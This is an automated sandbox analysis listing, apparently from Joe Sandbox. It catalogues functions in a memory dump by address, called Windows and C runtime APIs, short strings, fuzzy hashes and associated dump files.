API String ID: 3672321321-0
Opcode ID: c001f151daaf63128cdf8f79bc9e45c3b229d400f6d68c90a24370648c35c84b
Instruction ID: bba3797f8e377683563b6d4856eb2551a74334e015cb0253230a47bfcfc01548
Opcode Fuzzy Hash: c001f151daaf63128cdf8f79bc9e45c3b229d400f6d68c90a24370648c35c84b
Instruction Fuzzy Hash: 00110AB19083099FC710FF65D88166EFBE4AF48350F05882DEA8887311E778D844EB56

Function 00F951A4 Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00F951C5
malloc.MSVCRT ref: 00F951D1
_vsnprintf.MSVCRT ref: 00F95202
realloc.MSVCRT ref: 00F95216
free.MSVCRT ref: 00F9522C

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: _vsnprintffreemallocreallocstrlen
String ID:
API String ID: 2333638281-0
Opcode ID: 859550458c9c2ce334ae83e28e5fad3445f8ca05d789dc368703db63cdb4a98c
Instruction ID: 675615162d8a60ab262f04e252fa724419871ed951d3b81f2da67ffa53da2f4b
Opcode Fuzzy Hash: 859550458c9c2ce334ae83e28e5fad3445f8ca05d789dc368703db63cdb4a98c
Instruction Fuzzy Hash: F611A971908B109BEF117F79C88065DBBD4AF40B74F11462DF89887281DB74C884E792

Function 00F91BBD Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00F91BCF
OpenProcess.KERNEL32 ref: 00F91BEA
GetLastError.KERNEL32 ref: 00F91BF7
_errno.MSVCRT ref: 00F91C0C

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Process$CurrentErrorLastOpen_errno
String ID:
API String ID: 1035239118-0
Opcode ID: 3871b9a1947ce47ea8efda6765d2dfdc97d5a45e23a554220b644b9589450d44
Instruction ID: 07b5234117d394cf56c6679cc454dc14db214a03973b53465a2f8fd58b20c3cc
Opcode Fuzzy Hash: 3871b9a1947ce47ea8efda6765d2dfdc97d5a45e23a554220b644b9589450d44
Instruction Fuzzy Hash: 56F06270A04302DBEF206F79D5C825E7BF4BB48355F104A3CE586C3255EB769880AB26

Function 00FDBECC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_read.MSVCRT ref: 00FDBEFD

Strings

random_device could not be read, xrefs: 00FDBF1A

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: _read
String ID: random_device could not be read
API String ID: 3312595324-883157155
Opcode ID: 741829b275021290d79947866e9fc6646e6555e3c712b1f0bc1f2553db399362
Instruction ID: f71596c828a9e6b33644c602cdba19e743acebaa7ea953e14088ed7604b808d1
Opcode Fuzzy Hash: 741829b275021290d79947866e9fc6646e6555e3c712b1f0bc1f2553db399362
Instruction Fuzzy Hash: 3E016271E04205DBD710AFB5CD84A6AB7AAEF44360F1A452AF545C7320E776EC01EB92

Function 00F8D517 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00F8D526
GetProcAddress.KERNEL32 ref: 00F8D54B
GetProcAddress.KERNEL32 ref: 00F8D55E

Strings

J", xrefs: 00F8D553

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: J"
API String ID: 667068680-2653942932
Opcode ID: 35cac1047336892fae3b34385337b2879fc429c8c07ca78b8b60406af3c04399
Instruction ID: eed3fcd2f80d93c697366616d4360a86407c9f3db0f6579514a505dddb03aa2b
Opcode Fuzzy Hash: 35cac1047336892fae3b34385337b2879fc429c8c07ca78b8b60406af3c04399
Instruction Fuzzy Hash: B2F054B1904715EBD715BFA99C485AB7FECEF057A4F04442EE4C8C7241E635D810DB91

Function 00F91E2F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00F91E89
exit.MSVCRT ref: 00F91E95

Strings

L$, xrefs: 00F91E76
(, xrefs: 00F91E66

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: exitfprintf
String ID: ($L$
API String ID: 4243785698-457789993
Opcode ID: f89d6b947c1026b1da43309c33c99fcb24660946e28490b037842f6a371e1ee6
Instruction ID: b58851a7fa84a1553eeea7f1c55437ba8e9384f2f9831e1a276429001a506674
Opcode Fuzzy Hash: f89d6b947c1026b1da43309c33c99fcb24660946e28490b037842f6a371e1ee6
Instruction Fuzzy Hash: 31016970504214CFEB04BF98D889669BBE4FF41314F06882DE4988B202C7B88C88DB93

Function 00F8D4DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00F8D4EF
strchr.MSVCRT ref: 00F8D4FF
atoi.MSVCRT ref: 00F8D510

Strings

., xrefs: 00F8D4F4

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: atoisetlocalestrchr
String ID: .
API String ID: 1223908000-248832578
Opcode ID: 28e6f095f66c45cf13a7f606e1364c58ea76727f252b4f5fbaacb696d83382a2
Instruction ID: 0f9c96819a92d63c66a9b768f50d452b0c6023b3214ea77ce7fca2247d39dbfe
Opcode Fuzzy Hash: 28e6f095f66c45cf13a7f606e1364c58ea76727f252b4f5fbaacb696d83382a2
Instruction Fuzzy Hash: C6E06774A087415AD710BF78994626EBAE5AF84304F15DC2DA4C8CB246FAB8CC41A752

Function 00F90008 Relevance: 6.4, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,00F90C44), ref: 00F900A8
free.MSVCRT ref: 00F900C5
free.MSVCRT ref: 00F90101
free.MSVCRT ref: 00F90110
free.MSVCRT ref: 00F9011F

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: b03b92343755e4d10014966eab0bc582710273fda8784527bf93c39e35584ff2
Instruction ID: 1e35abd0285631cdf2de5962db9ec34e65fc0b748c15b25dd5577cd4fd43f69f
Opcode Fuzzy Hash: b03b92343755e4d10014966eab0bc582710273fda8784527bf93c39e35584ff2
Instruction Fuzzy Hash: CA413B71E042058FEF10DF6AC8806AEBBF1FF48714F154429D489EB725EB399881EB91

Function 00F86213 Relevance: 6.3, APIs: 5, Instructions: 86stringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00F86264
strlen.MSVCRT ref: 00F862AC
strcpy.MSVCRT ref: 00F862C2
free.MSVCRT ref: 00F862CA
free.MSVCRT ref: 00F862DD

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: free$strcpystrlen
String ID:
API String ID: 2746913497-0
Opcode ID: e6dc88d4641d56807335ae2a68cd557507dca76740b7891d7be7786e086b9a3f
Instruction ID: 7491be77cf20883ca75da27d3e2020419f94506a39b76b2517d843718f988f26
Opcode Fuzzy Hash: e6dc88d4641d56807335ae2a68cd557507dca76740b7891d7be7786e086b9a3f
Instruction Fuzzy Hash: F9313A71E046158BCF24BFA9C8806EDBBF5AF95330F1481ADE894A7350D7349840EB55

Function 00F97F80 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00F97F92
time.MSVCRT ref: 00F97FA0
srand.MSVCRT ref: 00F97FA8
rand.MSVCRT ref: 00F97FC0

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: mallocrandsrandtime
String ID:
API String ID: 3109410447-0
Opcode ID: 998bd81aa9c0e6a71d5aa5e1502ddd03bd97c9ed3438ed7486eb010378b8265b
Instruction ID: b45b1662e779d44cc55b4ecf74e91e506e60d6a75b98511973503a59e92553ee
Opcode Fuzzy Hash: 998bd81aa9c0e6a71d5aa5e1502ddd03bd97c9ed3438ed7486eb010378b8265b
Instruction Fuzzy Hash: 04412372A08B068BC708FF29D84405EBFE5FFD9380F05892DE4C996265EF35C5649782

Function 00F91613 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 00F91662

Part of subcall function 00F8F770: GetCurrentThreadId.KERNEL32 ref: 00F8F79E

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CurrentHandleInformationThread
String ID:
API String ID: 2774142965-0
Opcode ID: f66784ea2bec473c71c523897877f4a2d7e3467aa62f2ff1b1508d37ae481934
Instruction ID: e1c31218cb2554dfe85976e7e7b91808e344fa5ca3148605daac8d4c8180cfed
Opcode Fuzzy Hash: f66784ea2bec473c71c523897877f4a2d7e3467aa62f2ff1b1508d37ae481934
Instruction Fuzzy Hash: DD3164B5A0420A8FEF10BFB9C98566A7BE4FF44350F05443AE880CB316D778D845EB92

Function 00F8E034 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00F8E0AA
IsDBCSLeadByteEx.KERNEL32 ref: 00F8E0CB
MultiByteToWideChar.KERNEL32 ref: 00F8E128
_errno.MSVCRT ref: 00F8E135

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: 224b36fc6de117176160d3aeec2809a2e15f9177cafced54c9fb8e02d54247ff
Instruction ID: dea5ba677378b965bf566228078a8d3092f099c7791544da33574fd994a69ecb
Opcode Fuzzy Hash: 224b36fc6de117176160d3aeec2809a2e15f9177cafced54c9fb8e02d54247ff
Instruction Fuzzy Hash: 44313B709087429FDB10EF19C5483AABBF4BF85324F00895EE89487351D7BA9948DB92

Function 00F9056A Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F872F4,?,?,00000000,?,00FF8340), ref: 00F90573

Part of subcall function 00F8FEF5: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00F90524), ref: 00F8FF0B
Part of subcall function 00F8FEF5: GetCurrentThreadId.KERNEL32 ref: 00F8FF34
Part of subcall function 00F8FEF5: CreateEventA.KERNEL32 ref: 00F8FF52
Part of subcall function 00F8FEF5: GetCurrentThread.KERNEL32 ref: 00F8FF82
Part of subcall function 00F8FEF5: DuplicateHandle.KERNELBASE ref: 00F8FFB3
Part of subcall function 00F8FEF5: abort.MSVCRT(00000000,00000000), ref: 00F8FFC0
Part of subcall function 00F8FEF5: GetThreadPriority.KERNEL32(00000000,00000000), ref: 00F8FFCB
Part of subcall function 00F8FEF5: TlsSetValue.KERNEL32 ref: 00F8FFF2

realloc.MSVCRT ref: 00F905B0
realloc.MSVCRT ref: 00F905C6
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00F872F4,?,?,00000000,?,00FF8340), ref: 00F90634

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Thread$CurrentErrorLastValuerealloc$CreateDuplicateEventHandlePriorityabort
String ID:
API String ID: 1142088241-0
Opcode ID: 37d55d5ebf2afa770b02c90218042f9405d449debbb0712dc7c6ef1a7ceedcdd
Instruction ID: d6753cc3248008ddb84c59af44f937cdbc1cfe4c0e77675d080a312250908936
Opcode Fuzzy Hash: 37d55d5ebf2afa770b02c90218042f9405d449debbb0712dc7c6ef1a7ceedcdd
Instruction Fuzzy Hash: C431A5B5A042199FCF00EF68C48499DBBF5EF48350F56856AE848DB306EB39E841DF91

Function 00F91542 Relevance: 6.1, APIs: 4, Instructions: 76synchronizationCOMMON

Download Yara Rule

APIs

GetHandleInformation.KERNEL32 ref: 00F9157A
WaitForSingleObject.KERNEL32 ref: 00F915BD
CloseHandle.KERNEL32(?,?), ref: 00F915D1
CloseHandle.KERNEL32 ref: 00F915DE

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Handle$Close$InformationObjectSingleWait
String ID:
API String ID: 135186658-0
Opcode ID: 5290f7f15facf36deed2b313088f7eccdca2a25e7ce837af0d62f21617e5d31d
Instruction ID: 26048770989d33178958566a54ecaf872d1d0fe106858f6758fc2ae514f908dc
Opcode Fuzzy Hash: 5290f7f15facf36deed2b313088f7eccdca2a25e7ce837af0d62f21617e5d31d
Instruction Fuzzy Hash: EE215E75A002059BEF20AF79C984A5BBBE8EF84720F068579E845CB245EB35D840DB91

Function 00F91826 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

_strdup.MSVCRT ref: 00F91884
free.MSVCRT ref: 00F91899
IsDebuggerPresent.KERNEL32 ref: 00F918B9
RaiseException.KERNEL32 ref: 00F918E8

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: DebuggerExceptionPresentRaise_strdupfree
String ID:
API String ID: 2994003445-0
Opcode ID: 051e22317e838e689bc0fecfb7b54041b5625658d0e98c34e64da1d3cb5a18c9
Instruction ID: a89f1acb310ea3f9c54fda42eecdd707f7a9f42a1fc41537e8c56891cee41506
Opcode Fuzzy Hash: 051e22317e838e689bc0fecfb7b54041b5625658d0e98c34e64da1d3cb5a18c9
Instruction Fuzzy Hash: 1B213972E043169BFF20AF6AC4447A9BBE9BB44360F05857AE8489B341D774D880EB91

Function 00F901BA Relevance: 6.0, APIs: 4, Instructions: 46threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F901D0
printf.MSVCRT ref: 00F901EA
GetCurrentThreadId.KERNEL32 ref: 00F9020C
printf.MSVCRT ref: 00F90239

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CurrentThreadprintf
String ID:
API String ID: 2356641437-0
Opcode ID: 4eebf4775f9a4244905901fad976622bf6366a28f378263aca1ae5b6e66b976e
Instruction ID: 488b70a1fb3a080005078d005d5ee6877a60bc8387b075e1e61f335a62f408e1
Opcode Fuzzy Hash: 4eebf4775f9a4244905901fad976622bf6366a28f378263aca1ae5b6e66b976e
Instruction Fuzzy Hash: 14119C75908304DFDB04EF69D88585EBBE4EF88750F01882DF9888B311D674D984DB52

Function 00F8DDC4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00F8DDFA
_errno.MSVCRT ref: 00F8DE3B

Strings

", xrefs: 00F8DE49

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: _errno
String ID: "
API String ID: 2918714741-3847333454
Opcode ID: 34719b1443f0e6e6947d1f954c315895373644ad52f73bcbff867cfaa55bfa73
Instruction ID: 25e8eaa7076d65fe738d97affcb797ccae2969cfde60a291a909295d51cf018f
Opcode Fuzzy Hash: 34719b1443f0e6e6947d1f954c315895373644ad52f73bcbff867cfaa55bfa73
Instruction Fuzzy Hash: 9211D0B0904607A6DF163F44EC0D2E9BFB0EF20740F510C85A4C51A2E5CB3A4DA9FB46

Function 00F8FC89 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00F8FCE5
fprintf.MSVCRT ref: 00F8FD08

Strings

P#, xrefs: 00F8FCFD

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: fprintffree
String ID: P#
API String ID: 92069018-1493515993
Opcode ID: bd90d61b93ac6b5455d985f62acd5b57b514faf9c823de524bc85207f2f83a8d
Instruction ID: b80529e4c8c5b198a764e108481fab187de40564edc04dd8d960cbd2dc4dd1b4
Opcode Fuzzy Hash: bd90d61b93ac6b5455d985f62acd5b57b514faf9c823de524bc85207f2f83a8d
Instruction Fuzzy Hash: F30144719042188FDB10BF65D8856AABBE4FF05364F05443DD899CB306D738DD48EB92

Function 00F95240 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00F95254
GetProcAddress.KERNEL32 ref: 00F95271

Strings

.%, xrefs: 00F95266

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: .%
API String ID: 1646373207-31117204
Opcode ID: 7163521c3abbad2820254f1d08e10a5d97de696e68b945b0474a56229c78f50d
Instruction ID: bb88a7716bd5e02e1e9be0419bd04e5f01193ce0c001fb11590df51e7fa2a806
Opcode Fuzzy Hash: 7163521c3abbad2820254f1d08e10a5d97de696e68b945b0474a56229c78f50d
Instruction Fuzzy Hash: 4CF0A7B1904719EBFF126F98D4481AA7FB8EF04B60F00842EE88587200E3329500DB91

Function 00F8EDF5 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00F98682), ref: 00F8EE36
